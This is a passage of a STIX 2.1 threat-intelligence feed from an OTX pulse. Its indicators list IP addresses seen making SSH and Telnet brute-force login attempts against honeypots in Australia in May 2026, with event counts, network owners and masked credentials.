      "created": "2026-05-28T01:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--34b0dc3f-b3e7-4934-8f08-95f77f071634",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T01:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.218.165.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T01:15:06.000Z",
      "valid_until": "2026-06-29T01:15:03.000Z"
    },
    {
      "created": "2026-05-28T01:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): m********!.",
      "id": "indicator--a8a86f15-7277-476e-97ea-84750c9584a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T01:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.114.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T01:15:06.000Z",
      "valid_until": "2026-06-29T01:15:03.000Z"
    },
    {
      "created": "2026-05-28T01:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a***n, k**i, t*******k. Passwords observed (masked): 3***********4, 3**********4, C*********3, T*****3, a*******3.",
      "id": "indicator--05db50cb-d83b-4da3-9ac2-d10cc1a9a4df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T01:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.60.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T01:15:06.000Z",
      "valid_until": "2026-06-29T01:15:03.000Z"
    },
    {
      "created": "2026-05-28T01:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 214. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TN. ASN(s): 327934. Organisation(s): Tunisie-Telecom. Usernames observed (masked): r**t, 3**********4, g***********r, y*****o, a***n. Passwords observed (masked): 1****6, 1******8, 3***********4, 3**********4, P******d.",
      "id": "indicator--1344dd12-b415-4525-8b15-d1dd78c49e4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T01:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.5.145.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T01:15:06.000Z",
      "valid_until": "2026-06-29T01:15:03.000Z"
    },
    {
      "created": "2026-05-28T01:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t, f****e, a****2, a*******r, a**r. Passwords observed (masked): 1****6, !******X, *, a*******4, a****2.",
      "id": "indicator--0b505ffa-4509-46e7-b92c-2c0820cd2031",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T01:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.99.62.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T01:15:06.000Z",
      "valid_until": "2026-06-29T01:15:03.000Z"
    },
    {
      "created": "2026-05-28T01:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--7224ee7f-1267-4c45-a5fa-5127a06aed13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T01:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '44.202.56.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T01:15:06.000Z",
      "valid_until": "2026-06-29T01:15:03.000Z"
    },
    {
      "created": "2026-05-28T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 54994. Organisation(s): Meteverse Limited.. Usernames observed (masked): r**t, 3**********4, a***n, c**e, e****n. Passwords observed (masked): 3***********4, 3**********4, 3******V, B********3, P******d.",
      "id": "indicator--3ffa7638-358f-405f-ab96-11645506fb6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.111.54.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T02:15:10.000Z",
      "valid_until": "2026-06-29T02:15:08.000Z"
    },
    {
      "created": "2026-05-28T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--60472e65-c2c5-4044-b1e6-e293fea3e90e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.89.245.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T02:15:10.000Z",
      "valid_until": "2026-06-29T02:15:08.000Z"
    },
    {
      "created": "2026-05-28T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 146817. Organisation(s): Hubei Feixun Network Co., Ltd. Usernames observed (masked): a***n, a*******r, c****e. Passwords observed (masked): 1******8, ***, f****************4.",
      "id": "indicator--ca6b5186-2f56-404e-9e45-6786f3602ba2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.140.176.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T02:15:10.000Z",
      "valid_until": "2026-06-29T02:15:08.000Z"
    },
    {
      "created": "2026-05-28T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 146. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 213520. Organisation(s): Senko Digital LLC. Usernames observed (masked): r**t, f****e, a****2, a*******r, a**r. Passwords observed (masked): 1****6, a*******4, a****2, a*******r, a*******r.",
      "id": "indicator--bf43076a-3a7b-42e4-9463-fd4bc3aa5c57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.23.197.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T02:15:10.000Z",
      "valid_until": "2026-06-29T02:15:08.000Z"
    },
    {
      "created": "2026-05-28T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, d****n, n**a, s*****g. Passwords observed (masked): !**************r, 0****3, 1**4, 1*********c, 1******Z.",
      "id": "indicator--cdecd110-1dd2-4986-b3d8-a41d70edb3fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.161.235.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T02:15:10.000Z",
      "valid_until": "2026-06-29T02:15:08.000Z"
    },
    {
      "created": "2026-05-28T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d1de4275-fa25-4bff-a718-97502f11a16d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T02:15:10.000Z",
      "valid_until": "2026-06-29T02:15:08.000Z"
    },
    {
      "created": "2026-05-28T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--cfddc57c-0ca0-4ca6-8f89-09c8b2ab8f3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T02:15:10.000Z",
      "valid_until": "2026-06-29T02:15:08.000Z"
    },
    {
      "created": "2026-05-28T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--ece707e1-df3c-4035-9dad-083951faff33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T02:15:10.000Z",
      "valid_until": "2026-06-29T02:15:08.000Z"
    },
    {
      "created": "2026-05-28T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--59ec65b0-4866-4e47-8019-016bc502f6f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.32.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T02:15:10.000Z",
      "valid_until": "2026-06-29T02:15:08.000Z"
    },
    {
      "created": "2026-05-28T03:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e30c1d80-36bf-43c7-ae45-cf5510850ad3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T03:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T03:15:05.000Z",
      "valid_until": "2026-06-29T03:15:03.000Z"
    },
    {
      "created": "2026-05-28T03:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--698b5656-c1e3-4ad2-a689-fec8b7ed59fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T03:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T03:15:05.000Z",
      "valid_until": "2026-06-29T03:15:03.000Z"
    },
    {
      "created": "2026-05-28T03:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d6963f06-79d5-4a01-9397-d1afd38da923",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T03:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.27.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T03:15:05.000Z",
      "valid_until": "2026-06-29T03:15:03.000Z"
    },
    {
      "created": "2026-05-28T03:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Heralding. Target ports: 5900. Source country: NL. ASN(s): 200912. Organisation(s): Joel Krause.",
      "id": "indicator--1b29917c-c3fe-413b-bc1a-6bfc40aa1ea5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T03:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.83.143.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T03:15:05.000Z",
      "valid_until": "2026-06-29T03:15:03.000Z"
    },
    {
      "created": "2026-05-28T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--6b956059-d3f3-4653-bd36-cf50c0ce2142",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.174.95.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T04:15:11.000Z",
      "valid_until": "2026-06-29T04:15:08.000Z"
    },
    {
      "created": "2026-05-28T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 202412. Organisation(s): Omegatech LTD. Passwords observed (masked): a***a, c*****l, f***s, f****e, p***t.",
      "id": "indicator--45eba06b-6ea1-4aa9-ab1c-b272c80cc629",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.16.55.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T04:15:11.000Z",
      "valid_until": "2026-06-29T04:15:08.000Z"
    },
    {
      "created": "2026-05-28T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--cd2c3bc6-4763-4a38-ab16-970f278cd14d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.137.241.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T04:15:11.000Z",
      "valid_until": "2026-06-29T04:15:08.000Z"
    },
    {
      "created": "2026-05-28T05:17:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): A*******************p, G************1, U****************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--8425456b-dd07-4abb-94d3-1fc57d90ce45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T05:17:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.236.228.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T05:17:06.000Z",
      "valid_until": "2026-06-29T05:15:08.000Z"
    },
    {
      "created": "2026-05-28T05:17:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f2de1a75-bb98-44d0-8e1d-c3146ac6d6f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T05:17:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T05:17:06.000Z",
      "valid_until": "2026-06-29T05:15:08.000Z"
    },
    {
      "created": "2026-05-28T05:17:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 50115. Organisation(s): Lekol LLC.",
      "id": "indicator--d4af34ce-a1a2-4277-a854-ecbd662c42a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T05:17:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.8.39.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T05:17:06.000Z",
      "valid_until": "2026-06-29T05:15:08.000Z"
    },
    {
      "created": "2026-05-28T05:17:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t, u****u, 3**********4, a***n, a****o. Passwords observed (masked): 1*3@.com, 3***********4, 3**********4, P**********6, Q******4.",
      "id": "indicator--8b549b53-cfd6-4ef1-b1d2-ad7415faaf3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T05:17:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.78.107.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T05:17:06.000Z",
      "valid_until": "2026-06-29T05:15:08.000Z"
    },
    {
      "created": "2026-05-28T05:17:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc.",
      "id": "indicator--ce6fd2d7-58b6-4b91-a5f0-b4aefefc3e9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T05:17:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '76.32.109.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T05:17:06.000Z",
      "valid_until": "2026-06-29T05:15:08.000Z"
    },
    {
      "created": "2026-05-28T05:17:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 56630. Organisation(s): Melbikomas UAB.",
      "id": "indicator--b471033d-0dac-4bb7-a7bf-0bd2360025b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T05:17:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.36.160.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T05:17:06.000Z",
      "valid_until": "2026-06-29T05:15:08.000Z"
    },
    {
      "created": "2026-05-28T05:17:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 47914. Organisation(s): OOO Creative Direct Marketing Solutions. Usernames observed (masked): G************1. Passwords observed (masked): H**********************3.",
      "id": "indicator--b28c776c-56c2-4c42-8466-1c1fb17d934b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T05:17:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.245.159.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T05:17:06.000Z",
      "valid_until": "2026-06-29T05:15:08.000Z"
    },
    {
      "created": "2026-05-28T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bfc4a814-5398-4195-bf87-4647a989e55f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.235.207.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T06:15:11.000Z",
      "valid_until": "2026-06-29T06:15:08.000Z"
    },
    {
      "created": "2026-05-28T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): , A**************************************************************6, G************1, b*****************************************'. Passwords observed (masked): , H**********************3, U*********************************************************************************************************************************************0, g************************0.",
      "id": "indicator--85c2c411-3808-4663-a825-a5d30352b530",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.10.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T06:15:11.000Z",
      "valid_until": "2026-06-29T06:15:08.000Z"
    },
    {
      "created": "2026-05-28T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 16629. Organisation(s): CTC. CORP S.A. TELEFONICA EMPRESAS.",
      "id": "indicator--a061a848-3bba-492d-934c-25985792d748",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.212.82.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T06:15:11.000Z",
      "valid_until": "2026-06-29T06:15:08.000Z"
    },
    {
      "created": "2026-05-28T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--1b8b2752-c6ec-4170-90a3-b0b8bbbf8d78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.122.125.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T06:15:11.000Z",
      "valid_until": "2026-06-29T06:15:08.000Z"
    },
    {
      "created": "2026-05-28T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4, a***n, d**a, d****y. Passwords observed (masked): ***, 1**4, 1******************p, 3***********4, 3**********4.",
      "id": "indicator--05609ebd-fb92-4fa0-9ada-e8ea621679a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.116.225.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T06:15:11.000Z",
      "valid_until": "2026-06-29T06:15:08.000Z"
    },
    {
      "created": "2026-05-28T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--50edfb38-fd14-41a1-811a-4a820cdf3b0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.243.12.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
